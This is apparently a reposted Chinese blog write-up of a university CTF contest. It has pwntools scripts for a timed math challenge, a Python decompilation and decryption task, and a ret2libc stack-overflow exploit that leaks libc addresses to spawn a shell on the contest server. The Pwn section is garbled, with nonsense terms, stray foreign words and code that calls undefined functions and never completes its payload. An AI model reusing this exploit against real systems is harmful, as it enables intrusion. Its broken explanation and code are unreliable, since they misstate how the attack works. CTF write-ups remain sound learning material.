博客
关于我
广东外语外贸大学第三届网络安全大赛Writeup
阅读量:550 次
发布时间:2019-03-09

本文共 1775 字,大约阅读时间需要 5 分钟。

广东外语外贸大学第三届网络安全大赛 Writeup

Msic

题目描述:这是一个基于数学计算的简单题目,系统会要求回答150个计算题,每个题目都有严格的作答时间限制。解决方法是通过脚本自动化操作。

解决方法

from pwn import *context.log_level = 'debug'p = remote("183.129.189.60", 10034)n = 0while n < 150:    p.recvuntil("Math problem: ")    math = p.recvuntil("=")[:-2]    p.sendline(str(eval(math)))    sleep(1)    n += 1else:    p.sendline("cat flag")

RE

题目描述:这是一个涉及 Python 反编译的题目。通过反编译工具可以获取原始代码。

解密思路

反编译工具(如 Easy Python Decompiler)可以帮助我们解密加密的 Python 源码。源码中的算法主要包含两个部分:

  • 加密算法

    num = ((input1[i] + i) % 128 + 128) % 128
    简化为:
    (input1[i] + i) % 128

  • 解密算法

    通过逆向操作,从尾部到头部对列表进行异或操作可以恢复原字符串。

  • 最终解密代码

    a = ['\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13']l = len(a)la = map(ord, a)for i in range(l-1, 0, -1):    a[i-1] = a[i-1] ^ a[i]code = ''for i in range(l):    num = (a[i] - i) % 128    code += chr(num)print(code)

    Pwn

    题目描述:这是一个简单的栈溢出题目。漏洞点在于溢出变量的大小,需要找到合适的yz为平台搭建攻击。

    解决方法

    通过 신중地 构造 I 字符串,覆写 EIP 地址,最终触发 ïþ模式。通过 GDB attache 能够 debugger 求出 PERSYSTEMHERE 地址,并通过构造 payload trigger /bin/sh 命令。

    最终EXP

    # coding:utf-8from pwn import *context.log_level = 'debug'elf = ELF('./easy_pwn')local = 0if local:    p = process('./easy_pwn')    libc = elf.libcelse:    p = remote("183.129.189.60", "10025")    libc = ELF('./libc6-i386_2.23.so')main = 0x80492F5def sda(a, s):    return p.sendafter(a, s)def sla(a, s):    return p.sendlineafter(a, s)def rc(s):    return p.recv(s)def ru(s):    return p.recvuntil(s)pay = 'I' * 0x10pay += p32(elf.plt['puts']) + p32(main) + p32(elf.got['puts'])sl(pay)ru('\n')puts_addr = u32(rc(4))libc_base = puts_addr - libc.symbols['puts']system = libc_base + libc.symbols['system']binsh = libc_base + libc.search("/bin/sh\x00").next()harray();sla(pay)p.interactive()

    转载地址:http://rlppz.baihongyu.com/

    你可能感兴趣的文章
    ERROR 1840 (HY000) at line 24: @@GLOBAL.GTID_PURGED
    查看>>
    Java-类加载过程
    查看>>
    BUU-MISC-认真你就输了
    查看>>
    BUU-MISC-caesar
    查看>>
    【专题2:电子工程师 之 上位机】 之 【36.事件重载】
    查看>>
    【专题3:电子工程师 之 上位机】 之 【46.QT音频接口】
    查看>>
    一文学会JVM常见参数设置+调优经验(JDK1.8)
    查看>>
    一文理解设计模式--命令模式(Command)
    查看>>
    VTK:可视化之RandomProbe
    查看>>
    block多队列分析 - 2. block多队列的初始化
    查看>>
    Java时间
    查看>>
    不编译只打包system或者vendor image命令
    查看>>
    MySQL
    查看>>
    The wxWindows Library Licence (WXwindows)
    查看>>
    leetcode——第203题——虚拟头结点
    查看>>
    【编程】C语言入门:1到 100 的所有整数中出现多少个数字9
    查看>>
    MySQL----基础及常用命令
    查看>>
    模拟集成:MOS管的工作区小误区(简单版)
    查看>>
    flink启动(二)
    查看>>
    前端开发进阶手册.pdf
    查看>>